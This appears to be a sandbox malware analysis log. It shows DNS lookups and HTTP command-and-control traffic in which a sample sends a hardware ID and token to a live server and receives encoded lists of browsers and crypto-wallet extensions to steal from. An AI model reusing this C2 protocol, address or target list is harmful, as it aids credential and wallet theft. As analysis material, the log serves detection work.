Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.177	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.181	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.176	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.182	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.184	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:36.821954966 CET	1.1.1.1	192.168.2.7	0xec1e	No error (0)	mira-tmc.tm-4.office.com		52.123.243.186	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:36.822851896 CET	1.1.1.1	192.168.2.7	0xb14	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:37.038705111 CET	1.1.1.1	192.168.2.7	0x290c	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:37.043940067 CET	1.1.1.1	192.168.2.7	0x6393	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:37.043940067 CET	1.1.1.1	192.168.2.7	0x6393	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:39.434875965 CET	1.1.1.1	192.168.2.7	0x5e0d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:39.435394049 CET	1.1.1.1	192.168.2.7	0xe02b	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:40.332204103 CET	1.1.1.1	192.168.2.7	0xf524	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:40.332204103 CET	1.1.1.1	192.168.2.7	0xf524	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:40.445100069 CET	1.1.1.1	192.168.2.7	0xe577	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:41.064981937 CET	1.1.1.1	192.168.2.7	0x3103	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 21:05:41.065270901 CET	1.1.1.1	192.168.2.7	0xe253	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:41.065270901 CET	1.1.1.1	192.168.2.7	0xe253	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:41.065891027 CET	1.1.1.1	192.168.2.7	0xff3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:41.065891027 CET	1.1.1.1	192.168.2.7	0xff3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:41.066011906 CET	1.1.1.1	192.168.2.7	0xf050	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 21:05:41.078845978 CET	1.1.1.1	192.168.2.7	0x715	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 20, 2024 21:05:41.082458973 CET	1.1.1.1	192.168.2.7	0x5d04	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:41.082458973 CET	1.1.1.1	192.168.2.7	0x5d04	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.424580097 CET	1.1.1.1	192.168.2.7	0x28bc	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.424580097 CET	1.1.1.1	192.168.2.7	0x28bc	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.424580097 CET	1.1.1.1	192.168.2.7	0x28bc	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.424580097 CET	1.1.1.1	192.168.2.7	0x28bc	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:05:42.438496113 CET	1.1.1.1	192.168.2.7	0xccfd	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:42.438913107 CET	1.1.1.1	192.168.2.7	0x5ab6	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:42.576030016 CET	1.1.1.1	192.168.2.7	0x4a72	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:42.669117928 CET	1.1.1.1	192.168.2.7	0x8c08	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:42.720293999 CET	1.1.1.1	192.168.2.7	0x2a2a	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:05:42.723454952 CET	1.1.1.1	192.168.2.7	0xc8ac	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	185.215.113.206	80	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 21:05:16.041933060 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 21:05:17.470629930 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 21:05:17.489764929 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 38 41 44 37 43 44 35 37 37 45 33 31 38 36 32 36 36 35 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="hwid"228AD7CD577E3186266598------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="build"mars------EGHJKFHJJJKJJJJKEHCB--
Nov 20, 2024 21:05:17.971348047 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 32 45 7a 4e 32 45 33 4e 47 52 6d 4f 57 4e 6c 5a 54 68 68 5a 6d 4a 6c 4e 7a 49 35 4f 47 56 68 4d 7a 5a 6d 4e 7a 49 7a 4e 54 56 69 5a 44 42 68 4e 57 4d 31 4e 32 46 69 4e 47 51 79 4f 54 52 6d 4f 47 55 77 4d 44 63 35 4d 57 56 6c 4e 44 56 6d 59 54 4d 7a 59 6a 4d 34 59 32 4e 6b 5a 57 4a 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: N2EzN2E3NGRmOWNlZThhZmJlNzI5OGVhMzZmNzIzNTViZDBhNWM1N2FiNGQyOTRmOGUwMDc5MWVlNDVmYTMzYjM4Y2NkZWJhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 21:05:17.973197937 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 2d 2d 0d 0a Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="message"browsers------DBGIJEHIIDGCFHIEGDGC--
Nov 20, 2024 21:05:18.421926975 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 21:05:18.421971083 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 20, 2024 21:05:18.423616886 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 2d 2d 0d 0a Data Ascii: ------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="message"plugins------BGIJJKKJJDAAAAAKFHJJ--
Nov 20, 2024 21:05:18.942974091 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 20, 2024 21:05:18.943015099 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 20, 2024 21:05:18.943048954 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 20, 2024 21:05:18.943082094 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 20, 2024 21:05:18.943115950 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 20, 2024 21:05:18.943149090 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 20, 2024 21:05:18.945275068 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 2d 2d 0d 0a Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="message"fplugins------DGDHJEGIEBFHDGDGHDHI--
Nov 20, 2024 21:05:19.394103050 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
